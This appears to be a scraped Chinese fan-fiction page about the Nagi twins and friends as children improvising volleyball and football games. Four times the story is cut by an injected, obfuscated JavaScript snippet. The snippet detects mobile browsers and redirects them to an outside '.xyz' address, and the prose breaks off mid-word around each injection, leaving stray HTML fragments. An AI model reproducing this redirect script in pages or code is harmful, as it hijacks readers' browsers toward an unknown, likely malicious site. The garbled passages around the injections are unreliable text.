那次外出活动,大家戴好小黄帽,手牵手坐上巴士,去往了长谷的一家寺院,参拜青铜大佛。
凪圣久郎对由方块组成的日本国宝提不起兴致,觉得还不如去看海。
寺院接待的幼稚园不止一个,还有远道而来的其他县小朋友。
一个黑方块语气郑重:「你,就是我的初恋了。」
路过的凪圣久郎:「……」
他没有听错吧。
一个四五岁的孩子,对着十米高、百吨重的青铜像表达了爱意。
凪圣久郎立刻捂住了兄弟的耳朵,「阿士,不要学他。」
凪诚士郎:?
虽然没听懂这句话,但在幼稚园组织离开时,凪诚士郎记住兄弟的叮嘱,与大佛说了声再见。
他们的住处离长谷不算远,开车十五分钟就能到。
用腿的话,花费的时间就有点长了。
凪圣久郎和黄濑凉太,外加一坨即将要化成液体的白色史莱姆,历经大半个上午,终于跑到了镰仓的最南端——海边。
黄濑凉太眼尖地看到了在沙滩上的拦网,“小久,打排球吗?”
“打,”凪圣久郎蹬掉鞋子,挽起裤腿,照例征求兄弟的意见,“阿士要一起来吗?”
“…不要。”凪诚士郎摇摇晃晃,再不给个支点,他就要摔到地上去了。
凪圣久郎脱下外套,把黑衣服垫在台阶上, “阿士坐这里吧,我和凉太去打会儿球。”
“……嗯。”按了按空空的肚子,凪诚士郎没说话,答应下来。
“里面有小面包,要喝水的话去那边买,我把挎包放这里了。”凪圣久郎说。
乖巧地接过,凪诚士郎坐下了,“好。”
凪圣久郎用现在还干净的手拍拍兄弟的头,和黄濑凉太用篮球打排球去了。
沙子会吸收掉冲力,根本跳不高,外加跑了一上午,半小时后,黄濑凉太的体力就见底了。
跳不动的黄濑凉太用小臂蹭了蹭汗,“呼……我帮你扔球吧,小久。”
凪圣久郎欣然同意,练起了扣球。
“小久,我是不是扔高了?”
从沙滩上起跳,凪圣久郎跳跃高度下降的可不是一星半点,观察力格外出众的黄濑凉太自是注意到凪圣久郎的击球点不对。
眼里是有着漂亮的橙色圆弧的篮球,凪圣久郎精神格外集中,“不用,就这个高度。”
他能够到。
“砰!”
篮球比排球要硬得多,扣杀的威力也要大得多!
目睹了凪圣久郎用球在沙滩上砸出一个浅坑后,黄濑凉太搓了搓手臂的鸡皮疙瘩。
以后尽量不要和阿久玩躲避球了。
至少排球、篮球、网球、足球……不会往身上打,对吧?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551502|171237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
太阳来到了天空的中间点,凪圣久郎和黄濑凉太冲洗掉手脚上的沙子,重新穿上鞋,走到了水泥路上。
凪圣久郎拉起一滩兄弟,拍掉黑外套上的沙子,“那边有家小卖部,我们去看看有什么吃的吧。”
放任主义的凪夫妇给凪双子提供了优越的物质条件,剩余的都得靠他们自己——三岁时,自己的事情自己做。五岁时,不再接送上下幼稚园。下个月进入小学,他们就要自己解决三餐问题了。
凪夫妇也随着孩子们的独立,恢复了忙碌的工作。
以前睁眼闭眼都能见到父母中的一个,现在只有上学前的早晨和天黑后的夜晚能看到他们。
凪圣久郎挎着包牵着兄弟走进小卖部,“这里有面包、冰棒、零食、糖果,凉太和阿士想吃什么?”
黄濑凉太:“面包!”面包果腹!
凪诚士郎:“…冰棒。”不用咀嚼。
凪圣久郎嗅了嗅,他闻到了料理的味道,“前面可能有餐馆,我们要不要再走过去看看?”
午饭是正餐,该吃点好的。
黄濑凉太不是贪食的人,“不用了,我好饿,我现在就想吃东西。”
凪诚士郎也投出了一票,“不想走了,吃冰棒吧,阿久。”
凪圣久郎打破兄弟的幻想,“冰棒不能当饭吃。”
如果不把兄弟拖出来看着,阿士一定不会好好吃饭。
“诶,好麻烦……”
正当他们犹豫之时,小卖部又走进了两个男孩。
高个男孩的手里拿着个足球,掏口袋的时候“啊”了一声。
“抱歉,凛,哥哥下次再请你吃冰棒吧。”
凪圣久郎收回看足球的目光,搭话道:“你们好,要不要我请你们?”
深樱色方块:“……为什么?”
凪圣久郎答非所问,“等会一起踢足球吗?”
7.下午好
大家下午好,我、凪圣久郎,疑似穿越到了命运留在今晚的……同人里。
有转生IF、性转元素和年龄操作的那种。
……
“你是凛。”凪圣久郎用四根指头指着墨发小方块。
“你是士郎。”指向自家白蘑菇。
“你是谁吧。”指向黄发小方块。
“你是樱。”指向樱色小方块。
樱色小方块:“是冴。”
凪圣久郎:“那我是谁?”
黄濑凉太:“是‘谁吧’的幼驯染和朋友和老师!”
他从妈妈那里学了个新词,迫不及待地把它用在了好伙伴身上。
在此之前,陪他玩耍的阿久、无所不知的阿久已经被冠上了「朋友」和「老师」的标签。
凪圣久郎摸了摸自己的白发,“原来如此,我是梅林。”
糸师冴:“听人说话!”
“所以樱,一起玩球吗?”
糸师凛:“哥哥才不叫樱!”
凪圣久郎:“好的不叫樱那叫哥——”
凪诚士郎用面包一把堵住了兄弟的嘴,“阿久好怪。”
是蜜瓜包。
凪圣久郎嚼了嚼,接过兄弟递过来的面包,“这个比红豆包好吃。”
“真的吗?”正要吃第二个红豆包的黄濑凉太凑过来,啊呜一口,“我尝尝!嚼嚼……唔,都挺甜的,都好吃!”
“阿士要吃吗?”
凪诚士郎撕开自己的菠萝包,“我无所谓。”
明明刚才还在激烈地讨论外号,这会居然和谐地吃起了面包。
胃里垫了东西,凪圣久郎招呼着兄弟和黄濑凉太来选冰棒。
“要什么味道的?”
“我选苏打!”
“那我试试柠檬。”
“我哪个都行……”
糸师兄弟已经在嘎吱嘎吱地吃冰了。
“啊,”糸师凛看了眼冰棍上露出的字眼,“中奖了。”
嗯?
糸师冴加快了啃食的速度,瞄了眼自己的冰棍。
微黄的木棍上写着:谢谢参与。
没中。
啧。
“喂。”
糸师冴出声喊住了要付钱的凪圣久郎,“凛中了再来一根。”
店主老板娘立刻懂了,“把木棍给我吧,这样小哥付两根的钱就行了。”
五人并肩走出小卖部,糸师冴把没中的木棍扔进门口的垃圾桶,“你们,是打篮球的吧。”
凪圣久郎单手抛接着篮球,“是啊。”
“那你还说要和我们踢足球?”
“打篮球的也能踢足球啊。”
黄濑凉太插话,“对对,我们踢得可好了!”
“哦,”被称作八岁天才足球少年的糸师冴表情不变,“那来踢一场二对三吧,我和凛一组,你们一组。”
黄濑凉太:“诶?”
通常来说不该一对一或者二对二吗,二对三是个什么组合?
凪诚士郎主动退出,“阿久和凉太踢吧,我在旁边歇会。”
凪圣久郎没意见,“得找个有球门的场地。”
“我知道一个地方。”糸师冴说。
他把几人带到了一处公园,这里的地面上被粉笔画出了一个方形区域,边缘还有卷起来的球网。
凪圣久郎视线掠过,“这是排球场。”
长18米宽9米,中线和三米线……画得很标准啊。
糸师冴捡起球网,拨弄了几下,把它挂到了宽边的界线中间,“这个就是球门。”
黄濑凉太照葫芦画瓢,把另一边的球网也架好了。
糸师冴试了下射门,确定球网绑得牢固。
“你们守哪边?”他问。
第一次见到这种布置,凪圣久郎有些惊奇,“还有这种玩法啊。”
糸师凛拉了拉哥哥衣角,“我才刚学踢球,会不会……”
“没关系。”
见白毛黄毛半天不选,糸师冴就先选了自己的场地,他把弟弟拉到了自己挂好的球门前,“凛就在这里守门。”
糸师凛:“……好的,哥哥,我会努力的!”
“是这种二对二吗?”一个人当守门员,一个人……当前锋中场后卫?
凪圣久郎:“凉太,你想踢球还是守门?”
“踢球!”
“那我守门。”
糸师冴催促道:“你们快一点。”
“来了来了!”黄濑凉太跑向中间线。
糸师冴有条不紊,伸出手,“猜拳,赢了的开球。”
“好哦。”
糸师冴输了,黄濑凉太开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565486|171237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
球。
糸师冴:-皿-
黄濑凉太把球放在中线的中心,打量了一下场地。
相较于足球场,排球场真的很小,中心点距离球门,是半场长度的九米。
九米,只有九米!
比点球还近!
黄濑凉太跃跃欲试。
可以直接射门!
他助跑两步,右脚踢上足球。
“嘭!”
一道脚背与球面接触的沉闷声响,黑白球快速向着对方的球网飞去!
太好懂了。
糸师冴轻易读出了黄濑凉太的情绪,他表情不变,黄濑凉太做出准备动作时,糸师冴就早有预料地后跑到自家禁区,脚底蹬地,起跳!
球门前的糸师凛望着哥哥跃起的背影,足球被糸师冴的胸膛挡住,攻势被化解,足球落到了糸师冴的脚下。
落地后的糸师冴连贯迈步,盘带前进,对上了中线的黄濑凉太。
射门失败,球权丧失,黄濑凉太还来不及沮丧,注意力立刻被调动到了抢球的任务上!
糸师冴的眼睛如精准仪器一般,分析着黄濑凉太的动作。
技术粗糙,重心不稳,动作迫切,心境不稳……
这个黄毛,太嫩了。
脚下的横条线白得显眼。
糸师冴已经到了中线。
黄毛抢不走他的球,这个距离也不需要再突破了。
那就射门!
“砰!”
与黄濑凉太划过空中的弧线不一样,糸师冴踢出的是一技近乎贴地的直线球!由于没有弯度,它的速度更快、力道更强!
九米的球场,仅需零点几秒就能到达,加上黄毛在他的斜前方,能一定程度上遮挡住他踢球的动作。
白毛守门员估计都没有时间反应。
一道劲风嗖过脸颊,糸师冴恍然间听到了球网与足球的摩擦声。
“——砰。”
一道不该在此时出现的踢球声慢半拍地闯进他的耳朵。
视线越过黄毛,糸师冴看到白毛守门员抬起的脚——右腿直直地前伸,身体重心向前,是一个标准的射门动作。
射门……?
糸师冴的脑袋猛地转回己方球场。
只见黑白相间的足球,正哒哒地小幅度弹跳着,在他的球门里滚动。
8.放学好
放学好,快乐的学生们。我、凪圣久郎,开始攻读小学了。
……
小学不强制要求学生参加部团,且相较于中学,部团的管理也会宽松许多。
排球部是周二、周四休息。
篮球部是周二、周四训练。
兵乓球部没有严苛的训练时间,想打了约好对手去体育馆就好。
足球部占用着操场中间的绿茵地,人数很多,随时都能混进去。
进入小学,凪圣久郎终于可以打上正式的比赛了。
当然,日常的部团活动还是以重复枯燥的训练为主。
凪圣久郎并不觉得乏味,他对待每一项训练都无比认真,他看向每一颗球的目光都是如此专注。
结束训练,和学长、指导老师告别,凪圣久郎换下汗津津的运动服,套上了干爽的备用T恤。
挎上包,凪圣久郎来到了文化类的社团楼,敲了敲读书部的门。
“…进。”
里面传来一道闷闷的声音。
凪圣久郎开门走进去。
一株白蘑菇种在桌上,脑袋上盖着一本翻开的书。
凪圣久郎来到桌边,把那本书拿起来合上,放到身后的书架里。
“回家咯,阿士。”
凪圣久郎没进任何部团。小学生下午两点半就放学了,这个时间回家,实在是太早了一点。
在家也是闲得慌,干脆就留下来去找高年级玩球了。
凪诚士郎一开始是在教室等,后来进了读书部——读书部的书柜有不少漫画——就在文化类的部室等了。
凪圣久郎在体育类的部室换好衣服,正好来叫兄弟回家。
“这么晚了,吃完饭再回家吧。”凪圣久郎看了眼天色。
“嗯。”
“阿士想吃什么?”
“都可以。”
“拉面、M记、定食?”
凪诚士郎不挑食,不过要他来选的话……
“王将饺子。”
凪圣久郎秒懂,“这家店正好在我们回家的路上,你是一步路都不愿多走啊。”
“不是很方便嘛。”
“好好,意见采纳,吃饺子!”
等黄濑凉太升上小学后,放学觅食的组合变成了三人。
周末的觅食组合是五人——加上了糸师兄弟。
假期的觅食组合是七人——加上了宫双子。
“说到暑假,大家想到的什么!”在场唯一的“独生男”(家中唯一的男孩),黄濑凉太非常想和小伙伴一起出去玩。
宫侑:“全国!”
宫治:“大赛!”
两人对视一眼,满是期许,“Inter High!”
凪圣久郎:“加油,不过,目标还是先放在全中大赛吧。”
宫双子这几天看了排球Inter High的电视转播,顿时对在东京体育馆打球向往不已。
Inter High的全称是全国高等学校综合体育大赛,是高中生的比赛。而初中生的比赛是全中大赛,瞩目度自是比不上前者。
轮到糸师兄弟回答。
糸师冴:“U10足球大赛。”
糸师凛:“在八月。”
两兄弟都加入了镰仓足球俱乐部的少年队。和青年队比起来,少年队的参赛人数、比赛时间和球场面积都会降低一些。
虽然U10听起来过于年轻,但参加的少年队依旧要经过层层筛选,每个地区只有一支参加的队伍,也是全国级的大赛。
黄濑凉太嘟囔了一句,“都放假了,想点悠闲的事情吧。”
快说你们想去海边玩啊,这样他就能顺势邀请大家一起出去旅游了。
他把最后的希望放在了凪双子身上。
凪圣久郎读不出黄濑凉太的像素眼神,他只能从字面意义上去思考。
悠闲的事情……
凪圣久郎:“写作业吧。”做小学生的作业真得很悠闲。
凪诚士郎:“暑假必备。”和烈日下打球比起来,他宁可天天在家写作业。
宫双子:“……”
糸师兄弟:“……”
黄濑凉太:“……”
凪双子杀死了话题。
但是大家一起出去玩的愿望还是实现了,黄濑凉太欢呼!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569658|171237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
然后新的分歧出现了。
宫侑手里是三色球,“玩排球!三对三,阿士做裁判。”
凪诚士郎:“同意。”
糸师冴颠着黑白球,“踢足球,三对三,谁做裁判都行。”
糸师凛:“哥哥说得对!“
凪圣久郎指尖顶着篮球,另一只手在给橙色球加旋转,“我都行。”
黄濑凉太学着凪圣久郎的动作,虚空转球,“好厉害……!啊,我排球足球篮球都OK!”
宫治双手抱头,“我也是。”
宫侑不满,“治!你应该给我投票!这样我们的票数就大过这俩睫毛精了!”
糸师冴:“白毛只是同意他当裁判,不是给你的排球投票。”
凪圣久郎和兄弟咬耳朵,“阿士,樱为什么一直叫你白毛啊。”
凪诚士郎并没有被冒犯的感觉,“因为我的头发是白的。”
“我和你一样是白毛啊。”
“因为阿久值得被记住。”
“这样不好,得让樱喊名字。”
“我倒是无所谓啦…”
“不然以后,樱碰到其他白毛,要叫‘白毛二号’、‘白毛三号’吗?”
“……”阿久你以后碰到其他叫‘樱’的人也会叫二号三号吗。
等凪双子退出自己的小窗群聊,讨论已经降级到了年龄最小的两位之中,退化成了争吵。
宫侑:“我都说了排球!打排球!”
糸师凛:“哥哥说了足球!踢足球!”
宫侑关西腔阴阳,“闭嘴,满口尼酱的小弟弟,你有什么资格决定?”
糸师凛不爽回击,“我叫自己的哥哥怎么了,你不会没有哥哥吧!”
宫侑不服,“谁说我没有哥哥了?!”
宫治:“!”
难道说,他今天就能听到侑叫自己哥——
宫侑两只手分别拽过凪圣久郎和凪诚士郎,“我有两个哥哥,你别羡慕我才对!”
宫治:“。”
黄濑凉太冒头,“侑,好幼稚。”
宫治无情点头,“还又蠢又笨。”
“喂!!”
9.下午茶时间
下午茶时间到!我、凪圣久郎,一向大公无私、毫不偏心。
……
排球场,但为了照顾小学生的身高,球网降下了一半多。
三对三,但为了照顾小学生的脑子,没有站位轮换机制。
“球到了己方场地后,只有三次触球机会,同一个人不能连续两次触球……”凪圣久郎为糸师兄弟讲解着简单的排球规则。
“懂了吗?”凪圣久郎问自己的队友。
糸师冴:“嗯。”
糸师凛:“只是不能用手?”
“对,除了手,什么地方触球都可以。”
网对面的宫侑捏了捏自己的爪子,又晃晃自己的腿,“等着吧,睫毛精,我打爆你!”
黄濑凉太还有问题,“发球的时候可以用手辅助吗?”
糸师冴打断,“你踢点球还要把球抛起来?”
黄濑凉太想了一下,“好像是不用哦。”
“那不就得了,和足球一样,全程不能手球。”
手球,指的是上肢碰到球造成的犯规。手掌、小臂、大臂都包括在内。
“派个代表来,猜拳,赢得人开球。”糸师冴无表情的脸自带嘲讽。
宫侑气势汹汹地上了。
宫侑:“好哟!赢了!”
糸师冴:-皿-
第一个开球的是黄濑凉太,他把足球放到了边界线上,后退两步,用目光丈量着球网的高度。
和排球不一样,足球……
不,他们踢得也不是纯正的足球。
分组是猜拳决定的,宫治、宫侑、黄濑凉太一组;糸师冴、糸师凛、凪圣久郎一组。
两个宫和两个凪的长相完全一样,每天初见时都很难分清,但他们的衣服不一样,只要最先认清过,当天就不会认错了。
说起来,宫兄弟的衣服……他好像见小久和小士穿过。
黄濑凉太知道,对面的三人每一位都是足球好手……脚——这个词可以这么用吗?
啊回神回神回神!
不想那些和比赛无关的事了!
小久很擅长排球和足球,所以这场排…排足比赛——又是个新词——突破点在小冴和小凛身上。
黄濑凉太瞄准了糸师冴和糸师凛的中间位置,踢出了第一个发…开球。
糸师冴一眼就看穿了黄濑凉太的打算。
让他和凛互相抢球而撞到吗?
他平静地下达指令,“凛,退后。”
糸师冴抬脚接球,然后踢向了前排凪圣久郎的方向。
这是一个高球。
在有拦网的情况下,让脚来扣球属实是异想天开,不过规则是不能手球,那就……
凪圣久郎控制着力道跃起,铅灰色的眼睛映出了黑白球的弧线,在足球达到定点后,猛地用额头砸下去!
碍于脖子的长度,这记头球…扣球的力道不是很大,速度也算不上快,宫治身体下沉,用右腿把球垫了起来。
“侑!”
用小腿接球,方向和力道都控制不好,球已经往界外飞出去了。
宫侑跑动着,下意识地举起手准备托球。
队友黄濑凉太提醒,“不能手球!”
啧。
宫侑悻悻放下了手,又后退了两步,勉强用脚接起了这个落地即出界的足球。
“我来啦!”
宫治和宫侑已经触球,第三次触球的只能是黄濑凉太,他朝着球跑过去,用肩膀把球撞过了网。
凪圣久郎喊了声还没碰过球的队友,“凛。”
糸师冴指挥,“踢高一点,踢到网前,像我刚才那样。”
“好!”
和足球场比起来,排球场实在是太小,让一直踢足球的男孩传一记三米都不到的球,实在有些为难他们了。
糸师凛的力道没掌握好,把球踢过了网。
凪圣久郎:“Don’t mind,第一次做得很好了。”
没出界,没触网,没传飞,该夸。
对面的宫侑:“这个是,机会球?”
宫治:“没错,是机会球!”
两个排球人就要上网。
黄濑凉太再次出声,“手球禁止!”
“啊。”
准备用手接球的宫双子同时停
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582155|171237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住脚步。
啪嗒。
就是这么一犹豫,球落在了己方的地上。
站在网边的凪诚士郎:“阿久队得一分。”
唉,为什么不能坐下呢,还要一直看着球,做裁判好累。
宫治抹了把脸,“可恶,大意了。”
“凛,干得好。”糸师冴夸奖着弟弟。
说完,他向着球网对面、比赛前放话要把他们打得落花流水的宫双子哼笑一声。
宫侑:怒!
“再来一球!”
……
六个小孩脏兮兮地回家了,两对双子被父母打包扔进了浴室。
唯一不脏的凪诚士郎:他又没出汗,为什么把他也丢进来……
浴室只有一个花洒,宫双子先冲洗。凪圣久郎查看了一下大家脱下来的衣服,没有沾到油和饮料这些难洗的污渍,便把它们按颜色深浅和种类分到对应的衣篮里。
等他的事做完,宫双子已经开始洗身体了,凪圣久郎拉着兄弟站到花洒下,开始每日流程。
淋湿、涂泡泡、洗头发、冲水。
宫侑若有所思,“你是不是也该像阿久一样,帮我……”
“你脑子进水了?”
一移开视线,就分不清二人的凪圣久郎开口,“要我帮你们搓背吗?”
两个黑方块点头。
凪圣久郎提议,“我们可以开火车。”
“开…”
“火车?”
黑方块、凪圣久郎、黑方块、凪诚士郎。
四人排排坐好,给前面的人搓背。
凪圣久郎后面的黑方块开口,“为什么侑不用劳动?”
原来帮他搓背的是宫治啊。
凪圣久郎想好了决策,“明天治在第一个吧。”
第二天,鬼浑回来的四人又进了浴室。
两个黑方块脱掉衣服,站在凪圣久郎面前,异口同声,“我是治!”
“……”
“……”
下一个瞬间,两声争吵乍然响起:
“你怎么就是我了?!”
“我怎么不是我了!?”